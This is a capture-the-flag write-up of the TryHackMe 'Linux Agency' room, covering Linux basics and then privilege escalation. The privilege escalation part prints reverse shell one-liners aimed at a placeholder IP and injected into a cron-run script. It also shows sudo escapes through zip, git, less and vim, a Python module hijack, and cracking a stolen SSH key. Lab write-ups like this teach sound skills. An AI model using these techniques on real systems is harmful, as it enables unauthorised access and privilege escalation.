tryhackme - Linux Agency

Table of Contents
Room: Linux Agency
Difficulty: Medium
This Room will help you to sharpen your Linux Skills and help you to learn basic privilege escalation in a HITMAN theme. So, pack your briefcase and grab your SilverBallers as its gonna be a tough ride.
Task 1 - Deploy the Machine
Welcome to Linux Agency. Agent 47, this is where you will need to go through several tests concerning linux fundamentals and privilege escalation techniques.
This room is proudly made by 0z09e and Xyan1d3
If you enjoy this room, please let us know by tagging us on Twitter. You may also contact us in case of some unintended routes or bugs, and we will be happy to resolve them.
Please do not ask for hints in the TryHackMe Discord server until 7PM on the 30th of January, 2021
Task 1.1 - Deploy This Machine
No Answer Needed
Task 2 - Let’s just jump in
Please wait about 1 minute before SSH’ing into the box.
SSH Username : agent47 SSH Password : 640509040147
Each flag found will serve as the password for the next user. The flag includes the username of the next user that is part of this challenge. The Flag format is : username{md5sum}
The order of users: agent47 –> mission1 –> mission30 will be part of Task 3: Linux Fundamentals.
After those missions, the next levels will be in Task 4: Privilege Escalation.
Task 2.1 - SSH into the box as agent47
No Answer Needed
Task 3 - Linux Fundamentals
Agent 47, we are ICA, the Linux Agency. We will test your Linux Fundamentals. Let’s see if you can pass all these challenges of basic Linux. The password of the next mission will be the flag of that mission. Example: mission1{1234567890} will be the password for the mission1 user.
What is the mission1 flag?
mission1{REDACTED}
I will try my best to get flags with oneliners or with less commands, let’s see how it goes :)
After SSH’ing as ‘agent47’, let’s run grep for our first flag:
agent47@linuxagency:/$ grep -r mission1 /* 2>/dev/null
./home/agent47/.ssh/rc:echo "mission1{REDACTED}"
What is the mission2 flag?
mission2{REDACTED}
This was easy:
mission1@linuxagency:~$ ls
mission2{REDACTED}
What is the mission3 flag?
mission3{REDACTED}
I think its gonna be a smooth ride:
mission2@linuxagency:~$ ls
flag.txt
mission2@linuxagency:~$ cat flag.txt
mission3{REDACTED}
What is the mission4 flag?
mission4{REDACTED}
mission3@linuxagency:~$ ls
flag.txt
mission3@linuxagency:~$ cat flag.txt
I am really sorry man the flag is stolen by some thief's.
Flag does not appears to be here, so, I ran grep to find the flag but it was pointing me to this exact file:
mission3@linuxagency:~$ grep -r 'mission4' ./
I am really sorry man the flag is stolen by some thief's.
It is weird, I tried nano on it and found the flag.
- ^M is making everything on the left non-printable character, which is why they are not displayed while printing the flag.txt with cat.
You can run cat with -v to print non-printable characters:
mission3@linuxagency:~$ cat -v flag.txt
mission4{REDACTED}^MI am really sorry man the flag is stolen by some thief's.
What is the mission5 flag?
mission5{REDACTED}
mission4@linuxagency:~$ ls
flag
mission4@linuxagency:~$ cd flag/
mission4@linuxagency:~/flag$ ls
flag.txt
mission4@linuxagency:~/flag$ cat flag.txt
mission5{REDACTED}
What is the mission6 flag?
mission6{REDACTED}
mission5@linuxagency:~$ ls -a
.flag.txt
mission5@linuxagency:~$ cat .flag.txt
mission6{REDACTED}
What is the mission7 flag?
mission7{REDACTED}
mission6@linuxagency:~$ cat .flag/flag.txt
mission7{REDACTED}
What is the mission8 flag?
mission8{REDACTED}
When you switch to mission7 user, it tries to load .bashrc of user mission6, which is why it throws permission denied, and you can’t cd into /mission7 directly, because here cd will get you to /mission6 (you don’t have any permissions there), so, do cd ../mission7 to go to your home directory, and cat out the flag.
mission7@linuxagency:/home/mission7$ cat flag.txt
mission8{REDACTED}
What is the mission9 flag?
mission9{REDACTED}
Ride is still going smooth:
mission8@linuxagency:~$ cat /flag.txt
mission9{REDACTED}
What is the mission10 flag?
mission10{REDACTED}
mission9@linuxagency:~$ cat rockyou.txt | grep mission10
mission101
mission10
mission10{REDACTED}
mission1098
mission108
What is the mission11 flag?
mission11{REDACTED}
mission10@linuxagency:~$ ls
folder
mission10@linuxagency:~$ cd folder/
mission10@linuxagency:~/folder$ ls
L4D1 L4D10 L4D2 L4D3 L4D4 L4D5 L4D6 L4D7 L4D8 L4D9
mission10@linuxagency:~/folder$ grep -r 'mission' ./
./L4D8/L3D7/L2D2/L1D10/flag.txt:mission11{REDACTED}
What is the mission12 flag?
mission12{REDACTED}
I looked for the flag using find / -iname flag.txt 2>/dev/null and grep -r 'mission' ./ but couldn’t find it, so I tried to explore the .dotfiles and found this in .bashrc:
export flag=$(echo fTAyN2E5Zjc2OTUzNjQ1MzcyM2NkZTZkMzNkMWE5NDRmezIxbm9pc3NpbQo= |base64 -d|rev)
mission11@linuxagency:~$ env
(...)
SSH_TTY=/dev/pts/0
MAIL=/var/mail/mission11
FLAG=mission12{REDACTED}
SHELL=/bin/bash
TERM=xterm-256color
flag=mission12{REDACTED}
(...)
What is the mission13 flag?
mission13{REDACTED}
mission12@linuxagency:~$ ls -la
total 24
drwxr-x--- 3 mission12 mission12 4096 Jan 29 23:28 .
drwxr-xr-x 45 root root 4096 Jan 12 04:02 ..
lrwxrwxrwx 1 mission12 mission12 9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission12 mission12 3771 Jan 12 04:02 .bashrc
---------- 1 mission12 mission12 44 Jan 12 04:02 flag.txt
drwxrwxr-x 3 mission12 mission12 4096 Jan 29 23:28 .local
-rw-r--r-- 1 mission12 mission12 807 Jan 12 04:02 .profile
flag.txt file doesn’t have any permissions which is why we can’t read it, but we are the owner of the file, so we can simply change the permissions and read the flag.txt.
mission12@linuxagency:~$ chmod +r flag.txt
mission12@linuxagency:~$ cat flag.txt
mission13{REDACTED}
What is the mission14 flag?
mission14{REDACTED}
mission13@linuxagency:~$ ls -la
total 28
drwxr-x--- 3 mission13 mission13 4096 Jan 12 04:02 .
drwxr-xr-x 45 root root 4096 Jan 12 04:02 ..
lrwxrwxrwx 1 mission13 mission13 9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission13 mission13 3771 Jan 12 04:02 .bashrc
-r-------- 1 mission13 mission13 61 Jan 12 04:02 flag.txt
drwxr-xr-x 3 mission13 mission13 4096 Jan 12 04:02 .local
-rw-r--r-- 1 mission13 mission13 807 Jan 12 04:02 .profile
-rw------- 1 mission13 mission13 978 Jan 12 04:02 .viminfo
mission13@linuxagency:~$ cat flag.txt
bWlzc2lvbjE0e2Q1OThkZTk1NjM5NTE0Yjk5NDE1MDc2MTdiOWU1NGQyfQo=
mission13@linuxagency:~$ base64 -d flag.txt
mission14{REDACTED}
What is the mission15 flag?
mission15{REDACTED}
It is binary data:
mission14@linuxagency:~$ cat flag.txt
01101101011010010111001101110011011010010110111101101110001100010011010101111011011001100110001100110100001110010011000100110101011001000011100000110001001110000110001001100110011000010110010101100110011001100011000000110001001100010011100000110101011000110011001100110101001101000011011101100110001100100011010100110101001110010011011001111101
NOTE: I used ‘CyberChef’ for converting.
After converting from binary to ascii, we get our flag:
mission15{REDACTED}
What is the mission16 flag?
mission16{REDACTED}
It looks like hex:
mission15@linuxagency:~$ cat flag.txt
6D697373696F6E31367B38383434313764343030333363346332303931623434643763323661393038657D
NOTE: I used ‘CyberChef’ for converting.
after converting from hexadecimal to ascii, we get our flag:
mission16{REDACTED}
What is the mission17 flag?
mission17{REDACTED}
mission16@linuxagency:~$ ls -la
total 28
drwxr-x--- 2 mission16 mission16 4096 Jan 12 04:02 .
drwxr-xr-x 45 root root 4096 Jan 12 04:02 ..
lrwxrwxrwx 1 mission16 mission16 9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission16 mission16 3771 Jan 12 04:02 .bashrc
-r-------- 1 mission16 mission16 8440 Jan 12 04:02 flag
-rw-r--r-- 1 mission16 mission16 807 Jan 12 04:02 .profile
mission16@linuxagency:~$ file flag
flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1606102f7b80d832eabee1087180ea7ce24a96ca, not stripped
- It is a binary file, let’s make it executable and run it.
mission16@linuxagency:~$ chmod +x flag
mission16@linuxagency:~$ ./flag
mission17{REDACTED}
What is the mission18 flag?
mission18{REDACTED}
mission17@linuxagency:~$ ls -la
total 20
drwxr-x--- 2 mission17 mission17 4096 Jan 12 04:02 .
drwxr-xr-x 45 root root 4096 Jan 12 04:02 ..
lrwxrwxrwx 1 mission17 mission17 9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission17 mission17 3771 Jan 12 04:02 .bashrc
-rwxr-xr-x 1 mission17 mission17 475 Jan 12 04:02 flag.java
-rw-r--r-- 1 mission17 mission17 807 Jan 12 04:02 .profile
- It is a
javafile, let’s compile it withjavacand run it withjava.
mission17@linuxagency:~$ javac flag.java
mission17@linuxagency:~$ ls
flag.class flag.java
mission17@linuxagency:~$ java flag
mission18{REDACTED}
What is the mission19 flag?
mission19{REDACTED}
I like this part, because I get to learn how to compile and run with different compilers/interpreters.
mission18@linuxagency:~$ ls
flag.rb
- It is a ruby file, let’s run
rubyon it.
mission18@linuxagency:~$ ruby flag.rb
mission19{REDACTED}
What is the mission20 flag?
mission20{REDACTED}
mission19@linuxagency:~$ ls
flag.c
- It is a c file, let’s compile it with
gccand run it.
mission19@linuxagency:~$ gcc flag.c
flag.c: In function ‘main’:
flag.c:5:18: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
int length = strlen(flag);
^~~~~~
flag.c:5:18: warning: incompatible implicit declaration of built-in function ‘strlen’
flag.c:5:18: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
mission19@linuxagency:~$ ./a.out
mission20{REDACTED}
What is the mission21 flag?
mission21{REDACTED}
mission20@linuxagency:~$ ls
flag.py
mission20@linuxagency:~$ python3 flag.py
mission21{REDACTED}
What is the mission22 flag?
mission22{REDACTED}
If you check /etc/passwd, you see that user ‘mission21’ logged-in into /bin/sh (not /bin/bash):
mission21:x:1021:1021::/home/mission21:/bin/sh
And if we run /bin/bash we get our flag:
$ /bin/bash
mission22{REDACTED}
You get the flag after spawning /bin/bash (login shell will execute .bashrc which will echo out the flag on execution), as you can see this line in .bashrc:
# Add an "alert" alias for long running commands. Use like so:
echo "fWZhYTk0ZDI0YjQ4OTZlMmE2ZGU5ODgwYmU0N2FhYzQyezIybm9pc3NpbQo="|base64 -d|rev
What is the mission23 flag?
mission23{REDACTED}
If you check /etc/passwd, you see that we logged-in into /bin/python3 (not /bin/bash):
mission22:x:1022:1022::/home/mission22:/usr/bin/python3
To get into bash from python interpreter, we need to spawn it using python pty:
>>> import pty;pty.spawn("/bin/bash")
mission22@linuxagency:/home/mission21$ cd
mission22@linuxagency:~$ cat flag.txt
mission23{REDACTED}
What is the mission24 flag?
mission24{REDACTED}
Ride is getting wavy :)
mission23@linuxagency:~$ ls -la
total 24
drwxr-x--- 3 mission23 mission23 4096 Jan 15 07:36 .
drwxr-xr-x 45 root root 4096 Jan 12 04:02 ..
lrwxrwxrwx 1 mission23 mission23 9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission23 mission23 3771 Jan 12 04:02 .bashrc
drwxrwxr-x 3 mission23 mission23 4096 Jan 12 06:39 .local
-r-------- 1 mission23 mission23 69 Jan 15 07:36 message.txt
-rw-r--r-- 1 mission23 mission23 807 Jan 12 04:02 .profile
mission23@linuxagency:~$ cat message.txt
The hosts will help you.
[OPTIONAL] Maybe you will need curly hairs.
Let’s check the content of /etc/hosts file:
mission23@linuxagency:~$ cat /etc/hosts
127.0.0.1 localhost linuxagency mission24.com
127.0.1.1 ubuntu linuxagency
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback linuxagency
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
The first line of the content of the file look interesting, there is a webserver running at localhost.
Let’s interact with the local site (I used wget here, you can use curl if you want):
mission23@linuxagency:~$ wget 127.0.0.1
(...)
index.html 100%[===================>] 10.67K --.-KB/s in 0s
2021-01-30 10:27:29 (276 MB/s) - ‘index.html’ saved [10924/10924]
mission23@linuxagency:~$ cat index.html | grep mission
<title>mission24{REDACTED}</title>
What is the mission25 flag?
mission25{REDACTED}
We got a binary that will give the flag if we give it money (LOL).
mission24@linuxagency:~$ ls -l
total 12
-rwxr-xr-x 1 mission24 mission24 8576 Jan 12 04:02 bribe
mission24@linuxagency:~$ ./bribe
There is a guy who is smuggling flags
Bribe this guy to get the flag
Put some money in his pocket to get the flag
Words are not the price for your flag
Give Me money Man!!!
Let’s inspect it with ltrace:
mission24@linuxagency:~$ ltrace ./bribe
getenv("pocket") = nil
getenv("init") = nil
puts("\n\nThere is a guy who is smugglin"...
There is a guy who is smuggling flags
) = 40
puts("Bribe this guy to get the flag"Bribe this guy to get the flag
) = 31
puts("Put some money in his pocket to "...Put some money in his pocket to get the flag
) = 45
system("export init=abc" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
puts("\nWords are not the price for you"...
Words are not the price for your flag
) = 39
puts("Give Me money Man!!!\n"Give Me money Man!!!
) = 22
+++ exited (status 0) +++
We can see here that the program is taking two environment variables (pocket and init) and printing out some sentences. Let’s assign some value to these variables and see how the program behaves.
mission24@linuxagency:~$ export pocket=100
mission24@linuxagency:~$ ltrace ./bribe
getenv("pocket") = "100"
strncmp("100", "money", 5) = -60
getenv("init") = nil
puts("\n\nThere is a guy who is smugglin"...
There is a guy who is smuggling flags
) = 40
puts("Bribe this guy to get the flag"Bribe this guy to get the flag
) = 31
puts("Put some money in his pocket to "...Put some money in his pocket to get the flag
) = 45
system("export init=abc" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
puts("\nWords are not the price for you"...
Words are not the price for your flag
) = 39
puts("Give Me money Man!!!\n"Give Me money Man!!!
) = 22
+++ exited (status 0) +++
Here we see a function call to strncmp() function, let’s google it:
- The C library function int strncmp(const char *str1, const char *str2, size_t n) compares at most the first n bytes of str1 and str2.
- Parameters
str1 − This is the first string to be compared.
str2 − This is the second string to be compared.
n − The maximum number of characters to be compared.
Now we know that it is comparing the pocket variables value with the string money and maximum number of characters that are compared are 5 of both, this made me think that maybe I should try giving string value money (it can be any word, but should be 5 characters) to the pocket variable.
mission24@linuxagency:~$ export pocket=money
mission24@linuxagency:~$ ./bribe
Here ya go!!!
mission25{REDACTED}
Don't tell police about the deal man ;)
What is the mission26 flag?
mission26{REDACTED}
Unfortunately, it looks like that we don’t have normal means to look for stuff.
mission25@linuxagency:~$ ls
bash: ls: No such file or directory
mission25@linuxagency:~$ cat
bash: cat: No such file or directory
mission25@linuxagency:~$ less
bash: less: No such file or directory
mission25@linuxagency:~$ more
bash: more: No such file or directory
We can look what is in current directory by typing anything and doing a double tab:
mission25@linuxagency:~$ something
.bash_history .bashrc flag.txt .local/ .profile
We can see that we have a flag file here, so now we need something to get its content, luckyly we do have printf:
mission25@linuxagency:~$ printf %s $(<flag.txt)
mission26{REDACTED}
You can do same thing with echo (we have echo too):
mission25@linuxagency:~$ echo $(<flag.txt)
mission26{REDACTED}
And when I was trying to go to next level:
mission25@linuxagency:~$ su mission26
bash: su: No such file or directory
Well, this is not good.
mission25@linuxagency:~$ echo $PATH
mission25@linuxagency:~$ #its empty
There is nothing in PATH variable (that explains why we were not able to use various commands).
We just need to export the path: PATH=/bin:/usr/bin/su, and switch user with su.
What is the mission27 flag?
mission27{REDACTED}
I don’t know what to say here, LOL. Don’t forget to run file command on files :)
mission26@linuxagency:~$ ls -l
total 84
-r-------- 1 mission26 mission26 85980 Jan 12 04:02 flag.jpg
mission26@linuxagency:~$ file flag.jpg
flag.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, comment: "mission27{REDACTED}", progressive, precision 8, 1000x1870, frames 3
What is the mission28 flag?
mission28{REDACTED}
This one was weird.
mission27@linuxagency:~$ ls
flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
mission27@linuxagency:~$ gzip -d flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
mission27@linuxagency:~$ ls
flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png
mission27@linuxagency:~$ cat flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png
GIF87a
mission28{REDACTED}
What is the mission29 flag?
mission29{REDACTED}
This time we are in /usr/bin/irb, it is an interactive ruby shell:
mission28:x:1028:1028::/home/mission28:/usr/bin/irb
Let’s spawn a bash shell from here and find our flag:
irb(main):005:0> exec '/bin/bash'
mission28@linuxagency:~$ ls
examples.desktop txt.galf
mission28@linuxagency:~$ cat txt.galf
}1fff2ad47eb52e68523621b8d50b2918{92noissim
This flag file and its content looks like that they are in mirror position, there is a tool called rev that can be used here:
mission28@linuxagency:~$ rev txt.galf
mission29{REDACTED}
What is the mission30 flag?
mission30{REDACTED}
These looks like content files of a website:
mission29@linuxagency:~$ ls -l
total 4
drwxr-xr-x 7 mission29 mission29 4096 Jan 12 04:02 bludit
mission29@linuxagency:~$ cd bludit/
mission29@linuxagency:~/bludit$ ls -la
total 44
drwxr-xr-x 7 mission29 mission29 4096 Jan 12 04:02 .
drwxr-x--- 3 mission29 mission29 4096 Jan 12 04:02 ..
drwxr-xr-x 2 mission29 mission29 4096 Jan 12 04:02 bl-content
drwxr-xr-x 10 mission29 mission29 4096 Jan 12 04:02 bl-kernel
drwxr-xr-x 2 mission29 mission29 4096 Jan 12 04:02 bl-languages
drwxr-xr-x 27 mission29 mission29 4096 Jan 12 04:02 bl-plugins
drwxr-xr-x 4 mission29 mission29 4096 Jan 12 04:02 bl-themes
-rw-r--r-- 1 mission29 mission29 394 Jan 12 04:02 .htaccess
-rw-r--r-- 1 mission29 mission29 44 Jan 12 04:02 .htpasswd
-rw-r--r-- 1 mission29 mission29 900 Jan 12 04:02 index.php
-rw-r--r-- 1 mission29 mission29 1083 Jan 12 04:02 LICENSE
mission29@linuxagency:~/bludit$ grep -r mission ./ | grep mission30
./.htpasswd:mission30{REDACTED}
What is viktor’s Flag?
viktor{REDACTED}
mission30@linuxagency:~$ ls -la
total 36
drwxr-x--- 3 mission30 mission30 4096 Jan 12 04:02 .
drwxr-xr-x 45 root root 4096 Jan 12 04:02 ..
lrwxrwxrwx 1 mission30 mission30 9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r-- 1 mission30 mission30 220 Jan 12 04:02 .bash_logout
-rw-r--r-- 1 mission30 mission30 3771 Jan 12 04:02 .bashrc
drwxr-xr-x 3 mission30 mission30 4096 Jan 12 04:02 Escalator
-rw-r--r-- 1 mission30 mission30 8980 Jan 12 04:02 examples.desktop
-rw-r--r-- 1 mission30 mission30 807 Jan 12 04:02 .profile
Well, I must say that things are super easy when you know grep and find (they are sherlock holmes of Linux world) and every Linux lad should know these.
mission30@linuxagency:~$ grep -r viktor ./
./Escalator/.git/logs/HEAD:0000000000000000000000000000000000000000 e0b807dbeb5aba190d6307f072abb60b34425d44 root <root@Xyan1d3> 1610359600 +0530 commit (initial): Your flag is viktor{REDACTED}
./Escalator/.git/logs/refs/heads/master:0000000000000000000000000000000000000000 e0b807dbeb5aba190d6307f072abb60b34425d44 root <root@Xyan1d3> 1610359600 +0530 commit (initial): Your flag is viktor{REDACTED}
Task 4 Privilege Escalation
Welcome to Privilege Escalation, 47. Glad you made it this far!!! Now, here are some special targets. Your Target is to teach these bad guys a lesson.
Good luck 47!!!!
su into viktor user using viktor’s flag as password
No Answer Needed
What is dalia’s flag?
dalia{REDACTED}
Found an interesting script:
viktor@linuxagency:~$ find / -user viktor 2>/dev/null
/opt/scripts/47.sh
/opt/scripts/47.sh:
viktor@linuxagency:~$ cat /opt/scripts/47.sh
#!/bin/bash
#echo "Hello 47"
rm -rf /dev/shm/
#echo "Here time is a great matter of essence"
rm -rf /tmp/
Let’s see if it is under crontab:
viktor@linuxagency:~$ cat /etc/crontab
(...)
* * * * * dalia sleep 30;/opt/scripts/47.sh
* * * * * root echo "IyEvYmluL2Jhc2gKI2VjaG8gIkhlbGxvIDQ3IgpybSAtcmYgL2Rldi9zaG0vCiNlY2hvICJIZXJlIHRpbWUgaXMgYSBncmVhdCBtYXR0ZXIgb2YgZXNzZW5jZSIKcm0gLXJmIC90bXAvCg==" | base64 -d > /opt/scripts/47.sh;chown viktor:viktor /opt/scripts/47.sh;chmod +x /opt/scripts/47.sh;
- So this crontab is running forever (making sure that 47.sh file is new and ready to execute by user dalia who is executing it after 30 seconds)
- At first I got a little confused here because I didn’t knew in what sequence these are running, according this this forum, ‘The order for Ubuntu is top-down but in parallel’, which means that first task starts (and sleep for 30 seconds) and second task starts right after the first task starts and renew the contents of
47.shfile (root users task) and after 30 seconds first task also completes i.e running47.sh(user dalias task), and the cycle continues.
# IDK why all three payloads are not working:
# payload 1
viktor@linuxagency:/opt/scripts$ echo "/bin/bash -p" > 47.sh
# payload 2
viktor@linuxagency:/opt/scripts$ echo "nc <IP> 1234 -e /bin/bash" > 47.sh
# payload 3
viktor@linuxagency:/opt/scripts$ echo "bash -i >& /dev/tcp/<IP>/1234 0>&1" > 47.sh
# please let me know, i am a noob.
Let’s go with this payload and catch a reverse shell:
viktor@linuxagency:/opt/scripts$ echo "bash -c 'bash -i >& /dev/tcp/<IP>/1234 0>&1'" > 47.sh
Start your listener to recieve the connection (I used nc):
root@kali:~$ nc -lnvp 1234
(...)
dalia@linuxagency:~$ ls
ls
examples.desktop
flag.txt
dalia@linuxagency:~$ cat flag.txt
cat flag.txt
dalia{REDACTED}
What is silvio’s flag?
silvio{REDACTED}
dalia@linuxagency:/opt/scripts$ sudo -l
Matching Defaults entries for dalia on linuxagency:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dalia may run the following commands on linuxagency:
(silvio) NOPASSWD: /usr/bin/zip
gtfobins is the first thing that came into my mind:
TF=$(mktemp -u)
sudo -u silvio /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
$ whoami
silvio
$ cd
$ ls
examples.desktop flag.txt
$ cat flag.txt
silvio{REDACTED}
What is reza’s flag?
reza{REDACTED}
silvio@linuxagency:~$ sudo -l -l
Matching Defaults entries for silvio on linuxagency:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User silvio may run the following commands on linuxagency:
Sudoers entry:
RunAsUsers: reza
Options: setenv, !authenticate
Commands:
/usr/bin/git
Again, GTFObins at rescue:
sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
$ whoami
reza
$ bash
reza@linuxagency:/home/silvio$ cd
reza@linuxagency:~$ ls
examples.desktop flag.txt
reza@linuxagency:~$ cat flag.txt
reza{REDACTED}
What is jordan’s flag?
jordan{REDACTED}
$ sudo -l
Matching Defaults entries for reza on linuxagency:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User reza may run the following commands on linuxagency:
(jordan) SETENV: NOPASSWD: /opt/scripts/Gun-Shop.py
Let’s try to run this script:
$ sudo -u jordan /opt/scripts/Gun-Shop.py
Traceback (most recent call last):
File "/opt/scripts/Gun-Shop.py", line 2, in <module>
import shop
ModuleNotFoundError: No module named 'shop'
- It seems like it is trying to import a module named ‘shop’ which it can not find, well, we can give it one :)
- We can not write into /opt/scripts but we can on /tmp and give PATH to the Python in /tmp:
Content of shop.py:
import os
os.system("/bin/bash")
reza@linuxagency:/tmp$ mkdir shop
reza@linuxagency:/tmp$ cd shop
reza@linuxagency:/tmp/shop$ nano shop.py
reza@linuxagency:/tmp/shop$ sudo -u jordan PYTHONPATH=/tmp/shop /opt/scripts/Gun-Shop.py
jordan@linuxagency:/tmp/shop$ id
uid=1035(jordan) gid=1035(jordan) groups=1035(jordan)
jordan@linuxagency:/tmp/shop$ cd
jordan@linuxagency:~$ ls
examples.desktop flag.txt
jordan@linuxagency:~$ cat flag.txt
}3c3e9f8796493b98285b9c13c3b4cbcf{nadroj
It looks like it has been reversed, let’s run rev on the file:
jordan@linuxagency:~$ rev flag.txt
jordan{REDACTED}
What is ken’s flag?
ken{REDACTED}
jordan@linuxagency:~$ sudo -l
Matching Defaults entries for jordan on linuxagency:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jordan may run the following commands on linuxagency:
(ken) NOPASSWD: /usr/bin/less
gtfobins:
sudo -u ken less /etc/profile
!/bin/bash
ken@linuxagency:~$ cat flag.txt
ken{REDACTED}
What is sean’s flag?
sean{REDACTED}
ken@linuxagency:~$ sudo -l
Matching Defaults entries for ken on linuxagency:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ken may run the following commands on linuxagency:
(sean) NOPASSWD: /usr/bin/vim
gtfobins:
ken@linuxagency:~$ sudo -u sean vim -c ':!/bin/bash'
Appearently we are not able to find the flag as ‘sean’ user, but we found that ‘sean’ is an adm user:
sean@linuxagency:~$ grep -r sean /* 2>/dev/null
(...)
/etc/group:adm:x:4:syslog,sean
(...)
sean@linuxagency:~$ id
uid=1037(sean) gid=1037(sean) groups=1037(sean),4(adm)
adm: Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group.
So, let’s take a look inside /var/log:
sean@linuxagency:/var/log$ grep -R sean ./* 2>/dev/null
./auth.log:Feb 6 03:32:29 localhost sudo: ken : TTY=pts/1 ; PWD=/home/ken ; USER=sean ; COMMAND=/usr/bin/vim -c :!/bin/bash
Binary file ./journal/e5c33f65843d4fde84404ee7ae1a0806/user-1036.journal matches
Binary file ./journal/e5c33f65843d4fde84404ee7ae1a0806/system@0005b8b862e0516e-e8cbfb76bd6bfb17.journal~ matches
Binary file ./journal/e5c33f65843d4fde84404ee7ae1a0806/user-1037.journal matches
./syslog.bak:Jan 12 02:58:58 ubuntu kernel: [ 0.000000] ACPI: LAPIC_NMI (acpi_id[0x6d] high edge lint[0x1]) : sean{REDACTED} VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==
We got our flag, and we also got a base64 string, let’s decrypt it.
sean@linuxagency:/var/log$ echo "VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==" | base64 -d
The password of penelope is <REDACTED>
What is penelope’s flag?
penelope{REDACTED}
penelope@linuxagency:~$ ls -l
total 56
-rwsr-sr-x 1 maya maya 39096 Jan 12 04:02 base64
-rw-r--r-- 1 penelope penelope 8980 Jan 12 04:02 examples.desktop
-r-------- 1 penelope penelope 43 Jan 12 04:02 flag.txt
penelope@linuxagency:~$ cat flag.txt
penelope{REDACTED}
What is maya’s flag?
maya{REDACTED}
We got a suid base64 binary which is owned by the next user, ‘maya’.
gtfobins:
LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 --decode
penelope@linuxagency:~$ LFILE=/home/maya/flag.txt
penelope@linuxagency:~$ ./base64 "$LFILE" | base64 --decode
maya{REDACTED}
Hint: flag==password
maya@linuxagency:~$ ls -l
total 24
-rw-r--r-- 1 maya maya 519 Jan 12 10:51 elusive_targets.txt
-rw-r--r-- 1 maya maya 8980 Jan 12 04:02 examples.desktop
-r-------- 1 maya maya 39 Jan 12 04:02 flag.txt
drwxr-xr-x 2 maya maya 4096 Jan 15 07:25 old_robert_ssh
maya@linuxagency:~$ cat elusive_targets.txt
Welcome 47 glad you made this far.
You have made our Agency very proud.
But, we have a last unfinished job which is to infiltrate kronstadt industries.
He has a entrypoint at localhost.
Previously, Another agent tried to infiltrate kronstadt industries nearly 3 years back, But we failed.
Robert is involved to be illegally hacking into our server's.
He was able to transfer the .ssh folder from robert's home directory.
The old .ssh is kept inside old_robert_ssh directory incase you need it.
Good Luck!!!
47
So, we have an id_rsa file that belongs to robert user, and it can be used to infiltrate an entrypoint at localhost according to the text, let’s try it.
What is robert’s Passphrase?
<REDACTED>
maya@linuxagency:~/old_robert_ssh$ ls -l
total 8
-rw------- 1 maya maya 1766 Jan 12 04:02 id_rsa
-rw-r--r-- 1 maya maya 401 Jan 15 07:25 id_rsa.pub
I have copied id_rsa content into id_rsa file on my machine and changed permissions, after that I used ssh2john to get the hash of the file and put it to id_rsa.hash to used john with rockyou.txt wordlist to crack the password:
root@kali:~/dir/tryhackme/linux_agency# chmod 600 id_rsa
root@kali:~/dir/tryhackme/linux_agency# python3 ~/dir/2john/ssh2john.py id_rsa > id_rsa.hash
root@kali:~/dir/tryhackme/linux_agency# john --wordlist=~/dir/rockyou.txt ./id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED> (id_rsa)
1g 0:00:00:12 DONE (2021-02-06 08:11) 0.08278g/s 1187Kp/s 1187Kc/s 1187KC/s *7¡Vamos!
Session completed
<REDACTED> is the passphrase.
What is user.txt?
user{REDACTED}
Oh boy, this one is pretty cool (a ssh entrypoint at localhost).
maya@linuxagency:~$ ss -tupln
(...)
tcp LISTEN 0 128 127.0.0.1:2222 0.0.0.0:*
(...)
